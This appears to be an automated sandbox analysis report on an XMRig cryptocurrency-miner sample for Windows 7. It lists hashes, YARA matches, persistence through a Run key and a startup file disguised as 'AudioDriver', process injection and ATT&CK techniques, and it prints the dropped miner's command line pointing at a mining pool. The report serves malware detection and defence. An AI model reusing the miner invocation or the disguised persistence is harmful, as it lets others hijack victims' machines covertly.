xmrig | 010b8f865dce90452f05c5ae0e9f05731af9a9ebcc6e73c9359d7163c0bfe935

Analysis

max time kernel
150s
max time network
156s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 14:46

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General

Target

________ ___________.exe
Size

1.1MB
MD5

35b94119f76089e8937496e6942fb9dd
SHA1

8cc1318e56d7f57ac2c1f62ebfffdd2ad68c4d7c
SHA256

f69025c3989bcf53faa23fb240fc6710ab36ed36c13b5c2fa78c8725772dbe4f
SHA512

d899970fbb9dc843def051d03830cc76a27b9ea4fab9b4785eba901a45d85d1db91cfa2d7f2e7458a1353636a98d012842e831f34e6b2c7fc69e43d0db150348
SSDEEP

24576:obx7BAy6HWDVXL2dqzdasluCO5iiZmD5CdA:obJBAy6HWDVJdasYCO5iiZf

Score

10^/10

xmrig discovery miner persistence

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 15 IoCs

miner

resource	yara_rule
behavioral1/files/0x0008000000018f9a-6.dat	xmrig
behavioral1/memory/2832-11-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-12-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-13-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-14-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-15-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-16-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-17-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-18-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-19-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-20-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-21-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-22-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-23-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig
behavioral1/memory/2832-24-0x0000000000400000-0x0000000000520000-memory.dmp	xmrig

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AudioDriver.url	________ ___________.exe

Executes dropped EXE 1 IoCs

pid	Process
2832	AudioDriver.exe

Loads dropped DLL 1 IoCs

pid	Process
2592	________ ___________.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\AudioDriver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\________ ___________.exe"	________ ___________.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	________ ___________.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe
2592	________ ___________.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2592	________ ___________.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	________ ___________.exe
Token: SeLockMemoryPrivilege	2832	AudioDriver.exe
Token: SeLockMemoryPrivilege	2832	AudioDriver.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 2832	2592	________ ___________.exe	30
PID 2592 wrote to memory of 2832	2592	________ ___________.exe	30
PID 2592 wrote to memory of 2832	2592	________ ___________.exe	30
PID 2592 wrote to memory of 2832	2592	________ ___________.exe	30

C:\Users\Admin\AppData\Local\Temp\________ ___________.exe
"C:\Users\Admin\AppData\Local\Temp\________ ___________.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Users\Admin\AppData\Roaming\Sysfiles\AudioDriver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\AudioDriver.exe" -o stratum+tcp://xmr.pool.minergate.com:45700 -u [email protected] -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Roaming\Sysfiles\AudioDriver.exe

Filesize
1.1MB

MD5
bc74901be1f64e4270fae0712f61a7ec

SHA1
432d40540405b9b5f55077fb4fea11d1d7bdeaed

SHA256
cb3c5619a8391f989c6a69135d890c3126eda9841b9dc591d44f02078a6fd49b

SHA512
d9289839db70d4f60ef1096b5fb0551f5f3a3b5b8e93cdb7c157b40a43f3d1986849850c1d44dff67a6a33275a6692c0209906eba83a2f93016ac1f73cf92344

Download Submit
memory/2592-0-0x00000000748B1000-0x00000000748B2000-memory.dmp

Filesize
4KB

Download
memory/2592-1-0x00000000748B0000-0x0000000074E5B000-memory.dmp

Filesize
5.7MB

Download
memory/2592-2-0x00000000748B0000-0x0000000074E5B000-memory.dmp

Filesize
5.7MB

Download
memory/2592-9-0x00000000748B0000-0x0000000074E5B000-memory.dmp

Filesize
5.7MB

Download
memory/2592-10-0x00000000748B0000-0x0000000074E5B000-memory.dmp

Filesize
5.7MB

Download
memory/2832-15-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-18-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-13-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-14-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-11-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-16-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-17-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-12-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-19-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-20-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-21-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-22-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-23-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download
memory/2832-24-0x0000000000400000-0x0000000000520000-memory.dmp

Filesize
1.1MB

Download